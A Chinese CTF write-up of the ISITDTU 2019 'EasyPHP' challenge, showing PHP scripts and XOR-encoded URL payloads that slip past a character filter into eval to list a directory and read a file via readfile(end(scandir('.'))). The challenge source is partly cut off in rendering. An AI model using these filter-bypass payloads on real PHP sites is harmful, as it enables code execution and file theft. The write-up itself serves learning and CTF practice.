• [ISITDTU 2019]EasyPHP


    题目很好,学到很多

    先看到这个题的源码

     0xd )
        die('you are so close, omg');
    
    eval($_);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    可以看到它过滤的还是不少的,像这种有过滤代码量又少的题,无非就是各种花样绕,什么亦或呀,自增呀之类的,推荐先看p神的那几篇文章,我们也可以看到他这里是没有ban掉亦或符号的,可以会用得上,这里我先尝试了一下取反

    可以看到是执行了phpinfo()的

    在这里插入图片描述

    这里查看到它禁用的函数

    在这里插入图片描述

    没有屏蔽print_r()和scandir() ,想办法构造出print_r(scandir(.))

    ban了一大堆,写脚本跑一下看看还有哪些字符能用

    
    for($i = 0; $i < 256; $i++){
        if (!preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', chr($i))){
            echo chr($i)." ";
            // echo 'ascii值:';
            // echo $i;
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    结果:

    ! # % ( ) * + - / : ; < = > ? @ A B C H I J K L M N Q R T U V W X Y Z \ ] ^ a b c h i j k l m n q r t u v w x y z } ~
    
    • 1

    想办法构造出print_r(scandir(.))

    写脚本逐位异或

    
    $payload = '';
    $ff='';
    $x = 'print_r';
    for($i = 0; $i < strlen($x); $i++){
        for ($j = 0; $j < 255; $j++){
            $k = chr($j) ^ chr(255);       //改这里,这里用的255,也就是%ff     ,用 %A0也可以 ${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=phpinfo
            if ($k == $x[$i]) {
                $payload .= '%'.dechex($j);
            }
        }
    }
    for($i = 0; $i < strlen($x); $i++){$ff.='%ff';}
    echo $ff.'^'.$payload;
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    print_r

    %ff%ff%ff%ff%ff%ff%ff^%8f%8d%96%91%8b%a0%8d
    
    • 1

    scandir

    %ff%ff%ff%ff%ff%ff%ff^%8c%9c%9e%91%9b%96%8d
    
    • 1

    .

    %ff^%d1
    
    • 1

    构造出:

    ((%8F%8D%96%91%8B%A0%8D)^(%ff%ff%ff%ff%ff%ff%ff))(((%8C%9C%9E%91%9B%96%8D)^(%ff%ff%ff%ff%ff%ff%ff))(%D1^%ff));
    ((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff));
    
    • 1
    • 2

    但是字符数超过13了

    在这里插入图片描述

    看看怎么减少字符数

    这里的意思大概是利用这个print_r(scandir(.))里面已经有的字符亦或得到里面的字符,那这个可以被已有的字符亦或出的字符就不用再使用了,减少一个坑,但是会让payload变长很多

    下面的东西应该写脚本爆破一下是可以跑出来的,不知道师傅怎么得出的

    a = c^p^r
    d = s^c^t
    n = i^s^t
    
    • 1
    • 2
    • 3

    我这里还寻思用点把一堆单个字母的亦或拼接起来,突然发现点被ban了

    这个亦或手法真是学到了,举个例子,竖着看,n = ist,那三个16进制刚好是ist

    在这里插入图片描述

    ((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff));
    
    • 1

    在这里插入图片描述

    构造 readfile(end(scandir(.))) ,这种无参数的rce还有很多别的姿势的

    ((%8c%9a%9e%9b%9c%96%93%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff)^(%9b%ff%ff%ff%93%ff%ff%ff)^(%9a%ff%ff%ff%96%ff%ff%ff))(((%9a%9c%9b)^(%ff%ff%ff)^(%ff%93%ff)^(%ff%9e%ff))(((%8c%9c%9e%9c%9b%96%8c)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%93%ff%ff%9b)^(%ff%ff%ff%9e%ff%ff%9a))(%d1^%ff)));
    
    • 1

    参考
    这个题目zeddy师傅已经写的非常详尽了https://blog.zeddyu.info/2019/07/20/isitdtu-2019/

    还有这位佬,思路不一样的https://www.shawroot.cc/1209.html

  • 相关阅读:
    第02章 MySQL的数据目录【1.MySQL架构篇】【MySQL高级】
    数据分析 — Matplotlib 、Pandas、Seaborn 绘图
    swiper 增加一个鼠标移入分页器的小点后就切换展示图片
    lingo问题需要解决
    林浩然与杨凌芸的Scala编程历险记:变量与数据类型的魔法对决
    【问题记录】防止mimikatz获取到明文密码
    如何给网站或者后端服务免费且快速的进行配置HTTPS,配置ssl证书
    Android案例手册 - 多个按钮立体3D翻书效果
    企业域名和企业邮箱究竟有什么关系?
    低代码+BPM+KM于一体的软件开发平台
  • 原文地址:https://blog.csdn.net/qq_61778128/article/details/127780904